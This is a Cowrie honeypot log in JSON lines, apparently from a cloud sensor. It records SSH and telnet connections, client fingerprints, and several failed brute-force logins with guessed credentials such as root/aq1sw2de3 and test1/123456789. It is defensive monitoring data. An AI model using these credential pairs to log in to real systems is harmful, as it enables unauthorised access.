{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:09.587818Z","src_ip":"45.153.34.97","session":"3fffc55641cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"root","message":"login attempt [dspace/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:10.183237Z","src_ip":"45.153.34.97","session":"3fffc55641cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:10.630671Z","src_ip":"192.169.250.238","session":"26073ff54d0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:11.284441Z","src_ip":"45.153.34.97","session":"3fffc55641cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.04558873176575,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:12.354889Z","src_ip":"152.42.224.71","session":"ee5ce00d660b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40006,"dst_ip":"10.17.0.5","dst_port":23,"session":"0025fe36a2f4","protocol":"telnet","message":"New connection: 152.42.224.71:40006 (10.17.0.5:23) [session: 0025fe36a2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:12.977793Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19326,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd08f86d3958","protocol":"ssh","message":"New connection: 45.153.34.97:19326 (10.17.0.5:22) [session: cd08f86d3958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:13.810016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:13.816710Z","src_ip":"45.153.34.97","session":"cd08f86d3958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:14.101058Z","src_ip":"45.153.34.97","session":"cd08f86d3958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:14.721409Z","src_ip":"45.153.34.97","session":"cd08f86d3958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:15.892719Z","src_ip":"45.153.34.97","session":"cd08f86d3958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b46c65dcd76","protocol":"telnet","message":"New connection: 152.42.224.71:50290 (10.17.0.5:23) [session: 6b46c65dcd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:16.986502Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":41280,"dst_ip":"10.17.0.5","dst_port":22,"session":"76522df95b84","protocol":"ssh","message":"New connection: 159.65.8.74:41280 (10.17.0.5:22) [session: 76522df95b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.152462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.160792Z","src_ip":"159.65.8.74","session":"76522df95b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19336,"dst_ip":"10.17.0.5","dst_port":22,"session":"16050a7fbcbf","protocol":"ssh","message":"New connection: 45.153.34.97:19336 (10.17.0.5:22) [session: 16050a7fbcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.399990Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.405265Z","src_ip":"159.65.8.74","session":"76522df95b84","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.410053Z","src_ip":"45.153.34.97","session":"16050a7fbcbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.494481Z","src_ip":"45.153.34.97","session":"16050a7fbcbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.19518756866455,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.513193Z","src_ip":"152.42.224.71","session":"e7152a3a449d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":45102,"dst_ip":"10.17.0.5","dst_port":22,"session":"3445560e645b","protocol":"ssh","message":"New connection: 181.47.9.103:45102 (10.17.0.5:22) [session: 3445560e645b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.781490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.786815Z","src_ip":"181.47.9.103","session":"3445560e645b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.791983Z","src_ip":"45.153.34.97","session":"16050a7fbcbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:18.930439Z","src_ip":"181.47.9.103","session":"3445560e645b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq1sw2de3","message":"login attempt [root/aq1sw2de3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:19.391800Z","src_ip":"159.65.8.74","session":"76522df95b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1122","message":"login attempt [root/1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:19.537703Z","src_ip":"181.47.9.103","session":"3445560e645b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:19.892323Z","src_ip":"45.153.34.97","session":"16050a7fbcbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:20.632414Z","src_ip":"159.65.8.74","session":"76522df95b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:20.683850Z","src_ip":"181.47.9.103","session":"3445560e645b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba47a5b33723","protocol":"ssh","message":"New connection: 45.153.34.97:10542 (10.17.0.5:22) [session: ba47a5b33723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:22.897336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:22.902637Z","src_ip":"45.153.34.97","session":"ba47a5b33723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:22.987210Z","src_ip":"45.153.34.97","session":"ba47a5b33723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ark","message":"login attempt [root/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:23.576402Z","src_ip":"45.153.34.97","session":"ba47a5b33723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:24.679585Z","src_ip":"45.153.34.97","session":"ba47a5b33723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38036,"dst_ip":"10.17.0.5","dst_port":23,"session":"4916b52c5570","protocol":"telnet","message":"New connection: 152.42.224.71:38036 (10.17.0.5:23) [session: 4916b52c5570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:26.744566Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10554,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b51a13a7b9e","protocol":"ssh","message":"New connection: 45.153.34.97:10554 (10.17.0.5:22) [session: 8b51a13a7b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:27.171287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:27.177286Z","src_ip":"45.153.34.97","session":"8b51a13a7b9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38024,"dst_ip":"10.17.0.5","dst_port":23,"session":"19c116323207","protocol":"telnet","message":"New connection: 152.42.224.71:38024 (10.17.0.5:23) [session: 19c116323207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:27.360546Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:27.477483Z","src_ip":"45.153.34.97","session":"8b51a13a7b9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38040,"dst_ip":"10.17.0.5","dst_port":23,"session":"d698340a3798","protocol":"telnet","message":"New connection: 152.42.224.71:38040 (10.17.0.5:23) [session: d698340a3798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:28.003464Z"}
{"eventid":"cowrie.login.failed","username":"jeff","password":"jeff","message":"login attempt [jeff/jeff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:28.081211Z","src_ip":"45.153.34.97","session":"8b51a13a7b9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:29.372885Z","src_ip":"45.153.34.97","session":"8b51a13a7b9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":60498,"dst_ip":"159.203.135.109","dst_port":22,"session":"905415c89a7e","protocol":"ssh","message":"New connection: 43.130.38.88:60498 (159.203.135.109:22) [session: 905415c89a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.239553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.247609Z","src_ip":"43.130.38.88","session":"905415c89a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.316568Z","src_ip":"43.130.38.88","session":"905415c89a7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.623750Z","src_ip":"43.130.38.88","session":"905415c89a7e","protocol":"ssh"}
